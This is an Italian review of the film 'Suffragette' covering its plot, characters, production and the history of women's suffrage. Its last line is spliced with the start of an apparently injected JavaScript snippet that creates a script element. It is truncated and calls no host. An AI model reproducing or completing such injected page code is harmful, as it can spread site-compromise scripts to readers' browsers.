“Suffragette” di Sarah Gavron-Recensione

Suffragette è la storia, romanzata eppur vera, delle proteste affrontate da un gruppo di donne inglesi per poter ottenere la parità dei diritti, a cominciare da quello di voto.

Tra queste vi è anche Maud Watts (Carey Mulligan), lavandaia con marito e figlio che viene abusata dal datore di lavoro così come altre donne della fabbrica, alcune delle quali anche molto giovani. Le condizioni lavorative sono disastrose, ma siamo a inizio Novecento e le donne devono ringraziare di poter lavorare. Maud quindi conduce la sua vita in rassegnato silenzio, finché non scopre che c’è un gruppo di donne (facenti parte del WSPU, ovvero l’Unione Sociale e Politica delle Donne) che non ci stanno e protestano per ottenere la parità dei diritti. Inizialmente Maud non vorrà prendere parte a queste attività, ma quando inizia a rendersi conto che il modo in cui lei e le donne sono trattate non è giusto e che, se unite, esse possono effettivamente ottenere ciò per cui si battono, si fa gradualmente coinvolgere diventando una delle suffragette più attive dell’epoca. Gli ostacoli non saranno pochi e così neppure le tentazioni di recedere dai propri propositi, eppure la convinzione di poter davvero cambiare le cose (anche attraverso scioperi della fame o altri peggiori sacrifici) la porteranno a continuare nella lotta di ciò in cui crede, pur sacrificando la sua felicità.

Maud Watts è un personaggio di pura invenzione, così come quello della tenace farmacista Edith Ellyn (Helena Bonham Carter). Gli unici personaggi storici della pellicola sono la guida del movimento suffragista Emmeline Pankhurst della Streep (che viene rappresentata nella locandina come personaggio principale, quando in verità compare solo per una manciata di minuti in totale) ed Emily Davidson (interpretata da Natalie Press), la “martire” del movimento che nel 1913 si gettò sotto il cavallo appartenente a re Giorgio V durante una gara di corsa la cui tragica morte rivolse i riflettori verso la causa sostenuta dalle donne. Eppure anche Maud ed Edith sono state ispirate da un nutrito gruppo di altre donne realmente esistite, la cui storia non è stata approfondita ma il cui desiderio di rivalsa umana era così forte da averle portate ad andare incontro a sorti terribili quali prigionia, malattie, percosse e disconoscimento da parte dei loro mariti.

Una storia più che mai attuale e necessaria, eppure avvenuta un secolo fa e che stranamente non era mai stata rappresentata in un prodotto cinematografico internazionale. La stessa regista Sarah Gavron, che ha scritto anche la sceneggiatura a quattro mani assieme ad Abi Morgan (sceneggiatrice di “The Iron Lady”), svela quanto sia stato penoso ottenere i finanziamenti per la produzione. La cosa non stupisce troppo in un mondo in cui, benché si dichiari la parità dei sessi, le donne guadagnano ancora meno dei loro colleghi di sesso maschile a parità di impiego. Persino nella sfavillante Hollywood il premio Oscar Patricia Arquette ha apertamente denunciato l’enorme differenza di guadagno tra attori ed attrici (fu durante il suo discorso di premiazione alla cerimonia degli Oscar 2015).

Insomma, c’era bisogno di fare un film come Suffragette, di grande impatto non solo per essere il primo sull’argomento, ma anche per essere i primo ad aver ottenuto il consenso per le riprese all’interno del Parlamento Britannico, il luogo dove, dopo anni di indolenza e disinteresse, fu finalmente riconosciuto il pieno diritto di voto alle donne: era il 1928. Può sembrare tardi se posto a confronto col primo paese al mondo ad averlo concesso, ovvero lo stato del Wyoming nel 1869. Eppure, come riportano i titoli di coda, molti altri paesi arrivarono persino più tardi: in Italia giunsero alla concessione nel 1945; in Arabia Saudita nel 2015; alcuni altri paesi non ci sono ancora arrivati.var d=document;var s=d.createElement(‘script’);

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